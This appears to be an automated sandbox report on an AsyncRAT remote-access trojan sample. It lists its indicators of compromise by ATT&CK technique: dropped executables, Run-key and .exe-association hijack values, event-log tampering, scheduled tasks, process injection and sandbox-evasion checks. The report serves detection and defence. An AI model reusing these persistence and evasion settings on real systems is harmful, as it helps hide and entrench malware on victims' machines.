asyncrat | cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	adns.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	eevpjm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	eevpjm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	$77SVC~1.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	WinUpdate.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	WINUPD~1.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	owmipd.exe

Executes dropped EXE 20 IoCs

pid	Process
1952	adns.exe
1716	eevpjm.exe
4612	eevpjm.exe
2056	Install.exe
3532	svchost.com
2700	$77SVC~1.EXE
4092	svchost.com
3792	svchost.com
5076	WinUpdate.exe
2392	svchost.com
668	WINUPD~1.EXE
2056	svchost.com
944	owmipd.exe
3404	svchost.com
3612	svchost.com
3172	$77pop2.exe
4292	WinUpdate.exe
668	svchost.com
2780	svchost.com
1840	zsfhna.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx	svchost.exe

Modifies system executable filetype association 2 TTPs 1 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	eevpjm.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Taskhostw = "C:\\Users\\Admin\\AppData\\Local\\Taskhostw.exe"	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Okqpfkqo = "C:\\Users\\Admin\\AppData\\Local\\Okqpfkqo.exe"	adns.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1520	powershell.EXE
4632	powershell.exe
1876	powershell.exe
3408	powershell.exe
1880	powershell.exe
4348	powershell.exe
2072	powershell.exe
1752	powershell.exe
2652	powershell.exe
2060	powershell.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1648 set thread context of 1992	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe	90
PID 1952 set thread context of 2304	1952	adns.exe	98
PID 1520 set thread context of 228	1520	powershell.EXE	146

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\PROGRA~3\MICROS~1\CLICKT~1\{9AC08~1\INTEGR~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ExtExport.exe	svchost.com
File opened for modification	C:\PROGRA~2\WINDOW~2\wabmig.exe	svchost.com
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOOGLE~3.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\COOKIE~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\BHO\IE_TO_~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jaureg.exe	eevpjm.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOOGLE~2.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13195~1.15\MICROS~2.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\MicrosoftEdgeUpdate.exe	eevpjm.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13195~1.15\MI9C33~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe	svchost.com
File opened for modification	C:\PROGRA~2\WINDOW~3\ACCESS~1\wordpad.exe	svchost.com
File opened for modification	C:\PROGRA~2\WI8A19~1\ImagingDevices.exe	svchost.com
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\ELEVAT~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~3.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOBD5D~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\INTERN~1\iexplore.exe	eevpjm.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~2.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13195~1.15\MIA062~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmplayer.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROBR~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\WOW_HE~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpconfig.exe	svchost.com
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\Download\{F3C4F~1\13195~1.15\MICROS~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wabmig.exe	eevpjm.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ExtExport.exe	eevpjm.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{4D8DC~1\VC_RED~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\INTERN~1\iexplore.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\VSTO\10.0\VSTOIN~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13195~1.15\MICROS~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13195~1.15\MI391D~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\WI8A19~1\ImagingDevices.exe	eevpjm.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpshare.exe	svchost.com
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaws.exe	eevpjm.exe
File opened for modification	C:\PROGRA~2\Google\Update\DISABL~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOOGLE~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\msedge.exe	eevpjm.exe
File opened for modification	C:\PROGRA~2\WINDOW~3\ACCESS~1\wordpad.exe	eevpjm.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADelRCP.exe	eevpjm.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe	eevpjm.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13195~1.15\MICROS~4.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\setup_wm.exe	eevpjm.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmlaunch.exe	eevpjm.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{63880~1\WINDOW~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmlaunch.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADOBEC~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaw.exe	eevpjm.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\READER~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOOGLE~4.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroCEF\RdrCEF.exe	eevpjm.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Eula.exe	eevpjm.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\ADOBEA~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GO664E~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOF5E2~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpshare.exe	eevpjm.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{33D1F~1\VCREDI~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\FULLTR~1.EXE	eevpjm.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF5AF~1\WINDOW~1.EXE	eevpjm.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	eevpjm.exe
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\directx.sys	WinUpdate.exe
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	WinUpdate.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 45 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eevpjm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77SVC~1.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINUPD~1.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zsfhna.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eevpjm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	adns.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe

Delays execution with timeout.exe 4 IoCs

evasion

pid	Process
5092	timeout.exe
3964	timeout.exe
3752	timeout.exe
1528	timeout.exe

Gathers network information 2 TTPs 4 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4940	ipconfig.exe
4276	ipconfig.exe
4884	ipconfig.exe
2844	ipconfig.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings	WinUpdate.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings	owmipd.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings	InstallUtil.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	eevpjm.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings	eevpjm.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings	$77SVC~1.EXE
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings	WINUPD~1.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	eevpjm.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1596	schtasks.exe
456	schtasks.exe
5096	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe
1952	adns.exe
1876	powershell.exe
1876	powershell.exe
1992	InstallUtil.exe
1520	powershell.EXE
1520	powershell.EXE
2700	$77SVC~1.EXE
2700	$77SVC~1.EXE
2700	$77SVC~1.EXE
2700	$77SVC~1.EXE
2700	$77SVC~1.EXE
2700	$77SVC~1.EXE
2700	$77SVC~1.EXE
2700	$77SVC~1.EXE
2700	$77SVC~1.EXE
2700	$77SVC~1.EXE
2700	$77SVC~1.EXE
2700	$77SVC~1.EXE
2700	$77SVC~1.EXE
2700	$77SVC~1.EXE
2700	$77SVC~1.EXE
2700	$77SVC~1.EXE
2700	$77SVC~1.EXE
2060	powershell.exe
2060	powershell.exe
1992	InstallUtil.exe
668	WINUPD~1.EXE
668	WINUPD~1.EXE
668	WINUPD~1.EXE
668	WINUPD~1.EXE
668	WINUPD~1.EXE
668	WINUPD~1.EXE
668	WINUPD~1.EXE
668	WINUPD~1.EXE
668	WINUPD~1.EXE
668	WINUPD~1.EXE
944	owmipd.exe
668	WINUPD~1.EXE
668	WINUPD~1.EXE
668	WINUPD~1.EXE
668	WINUPD~1.EXE
668	WINUPD~1.EXE
668	WINUPD~1.EXE
668	WINUPD~1.EXE
944	owmipd.exe
944	owmipd.exe
944	owmipd.exe
944	owmipd.exe
944	owmipd.exe
944	owmipd.exe
944	owmipd.exe
944	owmipd.exe
944	owmipd.exe
944	owmipd.exe
944	owmipd.exe
944	owmipd.exe
944	owmipd.exe
944	owmipd.exe
944	owmipd.exe
944	owmipd.exe
944	owmipd.exe
944	owmipd.exe
1520	powershell.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe
Token: SeDebugPrivilege	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe
Token: SeDebugPrivilege	1952	adns.exe
Token: SeDebugPrivilege	1992	InstallUtil.exe
Token: SeDebugPrivilege	1952	adns.exe
Token: SeDebugPrivilege	1876	powershell.exe
Token: SeDebugPrivilege	1520	powershell.EXE
Token: SeDebugPrivilege	2304	InstallUtil.exe
Token: SeDebugPrivilege	2700	$77SVC~1.EXE
Token: SeDebugPrivilege	2060	powershell.exe
Token: SeDebugPrivilege	944	owmipd.exe
Token: SeDebugPrivilege	668	WINUPD~1.EXE
Token: SeDebugPrivilege	1520	powershell.EXE
Token: SeDebugPrivilege	3172	$77pop2.exe
Token: SeDebugPrivilege	228	dllhost.exe
Token: SeShutdownPrivilege	1016	dwm.exe
Token: SeCreatePagefilePrivilege	1016	dwm.exe
Token: SeShutdownPrivilege	3416	Explorer.EXE
Token: SeCreatePagefilePrivilege	3416	Explorer.EXE
Token: SeShutdownPrivilege	3416	Explorer.EXE
Token: SeCreatePagefilePrivilege	3416	Explorer.EXE
Token: SeDebugPrivilege	3408	powershell.exe
Token: SeDebugPrivilege	4292	WinUpdate.exe
Token: SeAssignPrimaryTokenPrivilege	2268	svchost.exe
